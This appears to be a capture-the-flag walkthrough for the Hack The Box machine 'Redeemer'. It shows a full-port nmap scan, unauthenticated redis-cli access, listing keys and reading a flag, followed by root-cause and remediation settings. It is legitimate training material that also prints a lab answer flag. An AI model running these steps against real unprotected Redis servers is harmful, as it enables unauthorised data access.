π§πΌβπRedeemer
ποΈ HTB Redeemer β Solution Notes
Platform: Hack The Box β Starting Point (Tier 0) Machine: Redeemer OS: Linux Difficulty: Very Easy Vulnerability Type: Misconfiguration
πΊοΈ Attack Chain
Nmap (all ports) β Redis discovery β Unauthenticated connection β List keys β Read flag
π§ How Does a Hacker Think? β Before You Begin
On this machine, the initial nmap scan came back empty. This is unusual β because nmap by default only scans the 1000 most common ports. Some services run on non-standard ports.
1οΈβ£ Reconnaissance
Port Scanning
bash
nmap -p- --min-rate 5000 -sV 10.129.52.120
Parameter Breakdown:
Findings:
π‘ What is Redis?
π§ How Does a Hacker Think? β When You Find an Unauthenticated Service
You found the Redis port and confirmed the service can be accessed without authentication. So what do you do now?
2οΈβ£ Exploitation β Connecting to Redis and Reading the Flag
Step 1: Establish Connection
π‘ What is redis-cli?
bash
redis-cli -h 10.129.52.120
Step 2: Server Info and Database Analysis
π‘ The info Commandbash
info
In the # Keyspace section of the output:
db0:keys=4
β Database 0 contains 4 keys.
Step 3: Select Database and List Keys
π‘ Theselectandkeys *Commands
bash
select 0
keys *
Output:
1) "numb"
2) "temp"
3) "stor"
4) "flag"
Step 4: Read the Flag
π‘ The get Commandbash
get flag
Flag: 03e1d2b376c37ab3f5319922053953eb
π§ How Does a Hacker Think? β Why Did This Vulnerability Exist?
Redis was designed as a performance-focused tool. Authentication is disabled by default because Redis is expected to run "on an internal network."
4οΈβ£ Technical Analysis β Root Cause and Remediation
Root Cause: The requirepass parameter is not set in redis.conf, and the service is exposed to the external network.
Remediation:
bash
# 1. Require a password
requirepass <STR0NG_P4SSW0RD>
# 2. Only allow access from localhost
bind 127.0.0.1
# 3. Disable dangerous commands
rename-command CONFIG ""
rename-command FLUSHALL ""
rename-command DEBUG ""
π Concepts Learned
- Full port scan: Using
p-to find services on non-standard ports - Redis: Unauthenticated key-value database
redis-cli: Redis terminal clientinfo: Retrieve server and database informationkeys *: List all keysget <key>: Read a key's value- Misconfiguration: Wrong configuration = open door
π General Hacker Mindset Summary
- If the first scan returns nothing, use
p-to scan all ports: Services can run outside the standard 1000 ports. - Unauthenticated service = direct access: Databases like Redis, MongoDB, and Elasticsearch can be wide open in default installs.
- Use
infoto understand the state,keys *to see the contents: Once you're in a database, always check what's there first. - Misconfiguration is the most common vulnerability: It's human error, not technical bugs, that usually opens the door.